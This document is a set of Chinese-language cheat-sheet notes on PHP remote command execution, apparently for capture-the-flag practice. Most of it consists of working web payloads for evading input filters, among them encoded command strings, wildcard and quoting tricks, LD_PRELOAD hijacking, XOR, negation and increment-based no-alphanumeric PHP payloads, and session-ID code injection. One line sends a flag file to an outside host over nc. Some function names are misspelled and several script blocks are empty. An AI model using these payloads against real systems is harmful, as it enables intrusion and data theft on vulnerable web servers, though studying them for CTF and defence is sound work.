RCE漏洞
常见函数
system
执行命令函数,可以直接有回显:system(string $command, int &$return_var=?)
exec
提交指令,定义变量,使用print_r将output填充的数组打印出来,只回显最后一行exec(string $command, array &$out=?, int&return_var=?)
passthru
执行命令函数,无需输出执行结果且有回显输出全部内容passthru(string $command, int &$return_var=?)
shell_exec
执行命令函数,无回显,需用echo,print,var_dump,print_r回显需输出执行结果且输出全部内容shell_exec(string $cmd)
popen()
将字符串当作OS命令来执行,返回的是文件指针而非命令执行结果popen(string $command,string $mode)
mode参数:”r”表示阅读,”w”表示写入)
command:要执行的命令
type:如果type为r,则将子进程的标准输出连接到返回的文件指针(阅读)
如果为w,则将子进程的标准输入连接到返回的文件指针(写入)
proc_open()
与popen相似,将字符串当作OS命令来执行
pcntl_exec()函数
用于执行代码,无回显
可用cat查看文件
可用shell反弹(?)
反引号``
可执行程序指令,无回显
操作系统链接符
;:多个命令按顺序执行,前后的命令都会执行
&:使命令在后台运行,同时执行多条命令
&&:按顺序执行命令,若前面的命令没有执行成功,后面命令也无法执行
|:管道输出符,把前面指令执行的结果变成后面指令的参数
||:若前面的命令执行成功,则后面的命令就不会执行;若前面的命令执行失败,则执行后面的命令

/dev/null 2>&1是把正常输出和错误输出全部丢入垃圾桶,不会回显
构造payload:
?cmd=ls
网页无反应,因为执行了红色那个代码,将输出丢入垃圾桶无回显
更改payloa:
?cmd=ls||
||,执行了前面的命令并且执行成功了,就不执行后面的命令了也就是红色命令,文件名就会在网页中显示出来
绕过
LD_PRELOAD绕过
LD_PRELOAD劫持原理
LD_PRELOAD是一个特殊的环境变量,指定的动态链接库会在程序运行时优先于系统库加载。.so后缀就是动态连接库的文件名。如果文件中有一个恶意构造的函数和我们调用的程序指令一样时,LD_PRELOAD路径指向这个文件,这个文件的优先级就高于原本的文件,那么原函数就被覆盖了,我们执行了一个指令后就会调用恶意函数,这就会导致一些非预期的漏洞出现
程序的连接
编译器找到程序中所引用的函数或全局变量所存在的位置
静态连接:程序运行之前将各个目标模块级需要的函数库链接长城一个完整的可执行程序,之后不再拆开
装入时的动态连接:源程序编译后得到的一组目标模块,在装入内存时边装入边链接
运行时的动态连接:在程序执行过程中需要用到时才对它进行链接
常用函数
mail():内嵌在PHP里,——调用子程序”/usr/sbin/sendmail——调用动态链接库geteuid函数
imagick
方法
1、生成一个我们的恶意动态链接库文件
2、利用 putenv 设置 LD_PRELOAD 为我们的恶意动态链接库文件的路径
3、配合 php 的某个函数去触发我们的恶意动态链接库文件
4、RCE 并获取 flag
绕过条件
能够上传自己的.so文件
控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数且未被禁用
存在可以控制PHP启动中外部程序的函数并能执行如mail(),imap_mail(),mb_send_mail(),error_log()
空格过滤绕过

查找变量cmd中是否有空格,preg_replace()函数有的话就会把空格替换掉
1.URL编码
%20表示普通空格(一般不用)
%09表示Tab键(常用)
%0a表示换行符
%0d表示回车符
2.利用$IFS环境变量
$IFS是Linux的内部字段分隔符,默认值为空格,可以用$IFS替代空格,如?cmd=ls$IFS-l
单纯$IFS2,IFS2会被bash解释器当作变量名,无法输出结果,需加一个{}固定变量名
3.使用{}替代
利用大括号将命令和参数分开{命令,执行参数},如{ls,-al}
4.使用反引号或子命令
通过反引号`或$()执行命令并替代空格,如`ls`$IFS-al
$(ls)$IFS-al
5.使用/**/注释
在一些情况可用,如ls/**/-al
6.使用\x20转义字符
利用ASCll十六进制编码的空格字符,如CMD=$'\x20-al' && ls$CMD
7.重定向字符<
<表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备
?cmd=cat<flag.php
?cmd=cat<>flag.php
文件名过滤绕过

preg_match()函数将内容过滤,flag|system|php被过滤。(不确定)即如果你提交的指令中包含flag,system,php,则会被过滤,就是不会执行
1.用通配符??或者*绕过
cat /fl??或者cat /f*
如过滤flag文件名,这些指令等效于cat /flag
?在linux里面可以进行代替字母。?仅代表单个字符串,但此单字必须存在
在linux里面可以进行模糊匹配。可以代表任何字符串。
2.单引号双引号反引号绕过
cat /fl'"'ag
这个对于php来说不是flag,关键字无法匹配,但是对于Linux系统来说,就等效于cat /flag。外面包裹的是单引号,里面就是双引号,外面包裹的是双引号里面就是单引号
passthru('cat /fl""ag.p\'\'hp')
或者用\去掉功能性,避免报错
3.转义符\绕过
\特殊字符去掉功能性,单纯表示为字符串,而linux看到反斜杠\会自动帮你去掉,正常执行命令
cat fl\ag.p\hp
\转义符
1 | |
'中\是用来去掉’的原有功能的,避免与第一个’配对而导致最后一个’报错
4.特殊变量:$1到$9、$@和$*
输出为空
5.内联执行
用自定义字符串拼接

#a=f;d=ag;c=l;cat $a$c$d.txt
6.利用linux中的环境变量
使用环境变量里的字符执行变量
文件读取命令过滤

preg_match()函数过滤了cat等命令
绕过方法
tac:反向显示,从最后一行开始显示(方向从下而上显示)more:一页一页显示文档内容?cmd=passthru("more fl\ag.ph\p");less:与more类似tail:查看末尾几行,默认显示最后10行nl:显示时顺便输出行号
nl /flag与nl flag不同:使用nl /flag命令时,/flag被视为一个文件路径,并将该文件的内容输出到标准输出(一般是终端)并在每一行前添加行号。 使用nl flag时,它会尝试在当前目录下找到名为flag的文件并给其内容添加行号
- od:读取二进制文件
?cmd=passthru("od -A d -c fla\g.ph\p");
中间的-A d -c是将字符ASCll码转换成字符串
xxd:与od相似,但比他简单,左边显示编码,右边解码sort:主要用于排序文件
\#sort flag.txt
?cmd=passthru("/usr/bin/s?rt fla\g.ph\p");
/usr/bin/sort 和 sort 实际上是同一个命令。/usr/bin 目录是系统的标准目录之一,它包含了许多系统命令和工具的二进制文件,而 sort 命令通常就存放在 /usr/bin 目录中,因此/usr/bin/sort /flag 和 sort /flag 是等价的。有时候sort不行可能/usr/bin/s?rt可以
uniq:报告或删除文件中重复的行,可以当成cat用file_f:报错出具体内容grep:在文本中查找指定的字符串,相当于cat
?cmd=passthru("grep fla fla*");
红色是指令,绿色时要查找的关键字
通常可以查找{}
strings:相当于cat
编码绕过
绕过原理

绕过方法
1.base64编码

有三种执行命令的形式
echo Y2FOIGZsYWcucGhw | base64 -d | bash
$(echo Y2FOIGZsYWcucGhw | base64 -d)
`echo Y2FOIGZsYWcucGhw | base64 -d` #反引号
2.base32编码

?cmd=system('echo "MNQXIIDGNRQWOLTQNBYA===="|base32 -d|/bin/bash');
base32/64 -d命令是对base32编码的文字解码
3.HEX编码
(ASCll码)

-r 是读取文件,-p是类似于解码,将前面的纯十六进制转储的反向输出打印为ASCll格式
Python脚本
1 | |
如tac flag: 74616320666c6167
echo “74616320666c6167”|xxd -r -p|bash
4.shellcode编码
?cmd=passthru('printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"|bash');
?cmd=passthru(\'printf”\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”`‘);`
?cmd=passthru('$(printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")');
一些符号的绕过
转义字符或者/
可用cd ..&&cd ..返回上级目录代替ls /
长度为7绕过方法
期望执行的命令:cat /flag|nc 192.168.1.124 7777
用kail监听:nc -lvp 7777
利用逻辑:>创建短的文件名
ls -t 按时间顺序列出文件名,按行储存
\连接换行命令
sh从文件中读取命令

长度为4绕过方法
字符拼接写马
输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
其他绕过方式
$!、$@、${1}可以用来模糊匹配
cat 可用c$!at绕过
无回显
无回显时间盲注
相关命令
(在linux命令中)
命令盲注
页面无法shell反弹或者无法回显,或者没有写入权限时可尝试命令盲注
无参数命令执行
相关函数
scandir()
可以获取当前目录的文件和子目录
传入值:接收参数是要扫描的路径
返回值:返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
scandir(‘.’)

因为是无参RCE,所以引号和点这些符号可能会禁用,就要和localeconv()和current()搭配使用
scandir(current(localeconv()))
current()
获取数组的当前元素
传入值:一个数组
返回值:会返回数组中的当前元素,在每一个数组中都有一个内部指针指向某个元素,默认情况下指向第一个元素
可以与localeconv() 搭配使用,从而获取localeconv() 返回的数组中第一个元素点 .
current(localeconv())
pos()
这是current()的别名函数,和其作用一样是获取数组的当前元素
传入值:一个数组
返回值:会返回数组中的当前元素,在每一个数组中都有一个内部指针指向某个元素,默认情况下指向第一个元素
pos(localeconv())
localeconv()
返回一包含本地数字及货币格式信息的数组。
传入值:无需传入参数
返回值:返回内容是一个包含众多格式化设置的关联数组
这里数组第一项就是‘.’,这个.的用处很大

glob()
用于文件路径名模式匹配的函数,可以获取文件路径的数组
传入值:要匹配的文件路径名
返回值:一个包含匹配文件路径的数组
glob(‘*’)
getcwd()
取得当前工作目录的绝对路径
传入值:无需传入参数
返回值:会返回当前工作目录的绝对路径
dirname()
获取路径中的目录部分
传入值:接收一个路径参数
返回值:返回路径中的目录部分
可以和getcwd()搭配使用
dirnae(getcwd())
array_flip()
交换数组中的键和值
传入值:会接收一个数组
返回值:返回一个键和值交换位置的数组
可以和scandir(current(localeconv()))搭配使用
array_reverse()
将数组中的元素颠倒过来
传入值:接收一个数组
返回值:返回i一个键和值交换位置的数组
可以和array_flip(scandir(current(localeconv())))搭配使用
array_reverse(array_flip(scandir(current(localeconv()))))
array_rand()
这个函数可以从一个数组中随机抽取一个或多个键
传入值:接收一个数组,如果没有指定选取键的数量会默认为1
返回值:会返回随机选取的键
可以和array_flip(scandir(current(localeconv())))搭配使用
array_rand(array_flip(scandir(current(localeconv()))))
chdir()
这个函数会改变当前脚本的工作目录
传入值:需要接收目标目录的路径
返回值:返回值是布尔类型
strrev()
这个函数可以将字符串反转
传入值:要进行反转的字符串
返回值:反转后的字符串
strrev(“hello”)

end()
可以将数组内部指针移动到最后一个元素
传入值:要操作的数组
返回值:返回数组的最后一个元素的值
:将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight_file()、show_source()、readfile()、file_get_contents() :读取文件内容
请求头绕过
HTTP请求标头
getallheaders():获取所有HTTP请求标头

pos():显示第一项的值
end():显示最后一项的值
apathe_request_headers():功能与getallheaders()相似,适用于Apache服务器
全局变量RCE
get_defined_vars():返回所有已定义的变量的值所组成的数组

session
session_start():启动新会话或者重用现有会话
- print_r修改为show_source()
用bp修改PHPSESSID的值为./flag(假设)
用show_source读取flag文件源代码
- 修改外部你函数为eval()
修改PHPSESSID的值为命令’phpinfo();’(也可以传其他命令这只是一个示例)
无法直接执行,须先把命令HEX编码转为十六进制,写入PHPSESSID
再用hex2bin()函数将十六进制转换为二进制,用eval执行
scandir读取
scandir()类似于ls,把内容以列表形式显示出来
scandir() — 列出指定路径中的文件和目录
getcwd() — 查看和读取当前目录文件
dirname() — 上一级目录
current () — 返回数组中的当前值
array_reverse () — 返回单元顺序相反的数组
array_flip () — 交换数组中的键和值
next () — 将数组中的内部指针向前移动
array_rand — 从数组中随机取出一个或多个随机键
chdir () — 系统调用函数(同 cd),用于改变当前工作目录
strrev ()— 用于反转给定的字符串,倒序输出
crypt () — 单向字符串散列加密,结果随机
hebrevc () — 把希伯来文本从右至左的流转换为左至右的流。
ord()和chr() — 只能对第一个字符进行转码,ord()编码,chr()解码
hex2bin
手动对命令进行十六进制编码,后面再用函数hex2bin()解码回去,使得后端实际接收的是恶意代码
chdir()&array_rand()
实在无法rce,可以考虑目录遍历进行文件读取

无字母数字
编译网站
https://probiusofficial.github.io/bashFuck/
八进制转义
ls:$’\154\163’
ls /:$’\154\163\40\57’编码是这个形式但是传参需保留空格,需写成$’\154\163’空格$’ \57’
cat /flag:$’\143\141\164\40\57\146\154\141\147’,同上需写成$’\143\141\164’ $’\57\146\154\141\147’
二进制编译
异或运算绕过
异或运算
a⊕b
如果a、b两个值不相同,则异或结果为1,如果a,b两个值相同,异或结果为0
异或脚本
1 | |
system: $_=~”%8c%86%8c%8b%9a%92”
cat /flag:$=~”%9c%9e%8b%df%d0%99%93%9e%98”;$_($)
取反运算绕过
对命令取反可以利用它对无数字字母过滤的绕过
取反通用的一个脚本
1 | |
system:~%8C%86%8C%8B%9A%92
cat /flag:~%9C%9E%8B%DF%D0%99%93%9E%98
自增运算绕过
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$。当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $ = ([].’’)[0]; 在前面时输出B,后面时输出A
常见payload:payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]); &__=system &_=ls